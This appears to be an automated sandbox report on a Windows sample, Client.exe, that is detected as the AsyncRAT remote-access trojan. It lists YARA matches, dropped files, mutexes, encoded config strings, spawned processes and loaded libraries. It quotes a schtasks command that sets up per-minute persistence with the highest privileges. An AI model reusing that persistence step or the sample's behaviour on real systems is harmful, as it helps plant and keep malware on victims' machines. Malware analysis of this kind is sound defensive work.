Source: 0.3.Client.exe.5e08c0.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.3.Client.exe.5e08c0.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.0.Client.exe.4b6c38.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.0.Client.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000002.00000000.1413414225.00000000009B2000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000000.00000003.1414593169.00000000005B9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000000.00000003.1414566747.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000000.00000000.1404593166.00000000004A5000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\Desktop\._cache_Client.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Roaming\XClient.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: ._cache_Client.exe.0.dr, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: ._cache_Client.exe.0.dr, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: ._cache_Client.exe.0.dr, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.3.Client.exe.5e08c0.0.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.3.Client.exe.5e08c0.0.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.3.Client.exe.5e08c0.0.raw.unpack, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.0.Client.exe.4b6c38.1.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.0.Client.exe.4b6c38.1.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.0.Client.exe.4b6c38.1.raw.unpack, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: XClient.exe.2.dr, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: XClient.exe.2.dr, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: ._cache_Client.exe.0.dr, Settings.cs	Base64 encoded string: 'QDK17KdZKaEcvL5X2j5bb/AflzFy5HbG9dciwqcQv3pw93AgQMppGSEjaCJjf/yz', 'iadaNtt3KdOR1XawJ6AGK0kadbfisHciss5MWmRbsYswNRbAS46qP/DWhpzumKvC', 'iadaNtt3KdOR1XawJ6AGK0kadbfisHciss5MWmRbsYswNRbAS46qP/DWhpzumKvC'
Source: 0.3.Client.exe.5e08c0.0.raw.unpack, Settings.cs	Base64 encoded string: 'QDK17KdZKaEcvL5X2j5bb/AflzFy5HbG9dciwqcQv3pw93AgQMppGSEjaCJjf/yz', 'iadaNtt3KdOR1XawJ6AGK0kadbfisHciss5MWmRbsYswNRbAS46qP/DWhpzumKvC', 'iadaNtt3KdOR1XawJ6AGK0kadbfisHciss5MWmRbsYswNRbAS46qP/DWhpzumKvC'
Source: 0.0.Client.exe.4b6c38.1.raw.unpack, Settings.cs	Base64 encoded string: 'QDK17KdZKaEcvL5X2j5bb/AflzFy5HbG9dciwqcQv3pw93AgQMppGSEjaCJjf/yz', 'iadaNtt3KdOR1XawJ6AGK0kadbfisHciss5MWmRbsYswNRbAS46qP/DWhpzumKvC', 'iadaNtt3KdOR1XawJ6AGK0kadbfisHciss5MWmRbsYswNRbAS46qP/DWhpzumKvC'
Source: XClient.exe.2.dr, Settings.cs	Base64 encoded string: 'QDK17KdZKaEcvL5X2j5bb/AflzFy5HbG9dciwqcQv3pw93AgQMppGSEjaCJjf/yz', 'iadaNtt3KdOR1XawJ6AGK0kadbfisHciss5MWmRbsYswNRbAS46qP/DWhpzumKvC', 'iadaNtt3KdOR1XawJ6AGK0kadbfisHciss5MWmRbsYswNRbAS46qP/DWhpzumKvC'

Source: 0.0.Client.exe.4b6c38.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.0.Client.exe.4b6c38.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.3.Client.exe.5e08c0.0.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.3.Client.exe.5e08c0.0.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: XClient.exe.2.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: XClient.exe.2.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: ._cache_Client.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: ._cache_Client.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.expl.evad.winEXE@20/64@12/5

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\Office\Heartbeat\HeartbeatCache.xml

Jump to behavior

Source: C:\Users\user\Desktop\Client.exe

File created: C:\Users\user\Desktop\._cache_Client.exe

Jump to behavior

Source: C:\Users\user\AppData\Roaming\XClient.exe	Mutant created: NULL
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess8004
Source: C:\ProgramData\Synaptics\Synaptics.exe	Mutant created: \Sessions\1\BaseNamedObjects\Synaptics2X
Source: C:\Users\user\Desktop\._cache_Client.exe	Mutant created: \Sessions\1\BaseNamedObjects\1sLoZD69Qc9ZGys2
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3228:120:WilError_03

Source: C:\ProgramData\Synaptics\Synaptics.exe

File created: C:\Users\user\AppData\Local\Temp\d4Hrgcsl.xlsm

Jump to behavior

Source: Yara match	File source: Client.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Client.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1404505014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\Documents\IPKGELNTQY\~$cache1, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\RCXEF1B.tmp, type: DROPPED

Source: C:\Users\user\Desktop\Client.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: Client.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 48.37%

Source: C:\Users\user\Desktop\Client.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Client.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Client.exe

ReversingLabs: Detection: 92%

Source: C:\Users\user\Desktop\Client.exe

File read: C:\Users\user\Desktop\Client.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Client.exe "C:\Users\user\Desktop\Client.exe"
Source: C:\Users\user\Desktop\Client.exe	Process created: C:\Users\user\Desktop\._cache_Client.exe "C:\Users\user\Desktop\._cache_Client.exe"
Source: C:\Users\user\Desktop\Client.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Source: C:\Users\user\Desktop\._cache_Client.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XClient" /tr "C:\Users\user\AppData\Roaming\XClient.exe"
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\XClient.exe C:\Users\user\AppData\Roaming\XClient.exe
Source: unknown	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\XClient.exe "C:\Users\user\AppData\Roaming\XClient.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\XClient.exe "C:\Users\user\AppData\Roaming\XClient.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\XClient.exe C:\Users\user\AppData\Roaming\XClient.exe
Source: C:\ProgramData\Synaptics\Synaptics.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 8004 -s 11848
Source: unknown	Process created: C:\Users\user\AppData\Roaming\XClient.exe C:\Users\user\AppData\Roaming\XClient.exe
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288
Source: unknown	Process created: C:\Users\user\AppData\Roaming\XClient.exe C:\Users\user\AppData\Roaming\XClient.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\XClient.exe C:\Users\user\AppData\Roaming\XClient.exe
Source: C:\Users\user\Desktop\Client.exe	Process created: C:\Users\user\Desktop\._cache_Client.exe "C:\Users\user\Desktop\._cache_Client.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XClient" /tr "C:\Users\user\AppData\Roaming\XClient.exe"	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288	Jump to behavior

Source: C:\Users\user\Desktop\Client.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: shacct.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: idstore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: wlidprov.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: provsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: cryptbase.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: version.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wininet.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wsock32.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netapi32.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: uxtheme.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: windows.storage.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wldp.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: kernel.appcore.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: cryptsp.dll
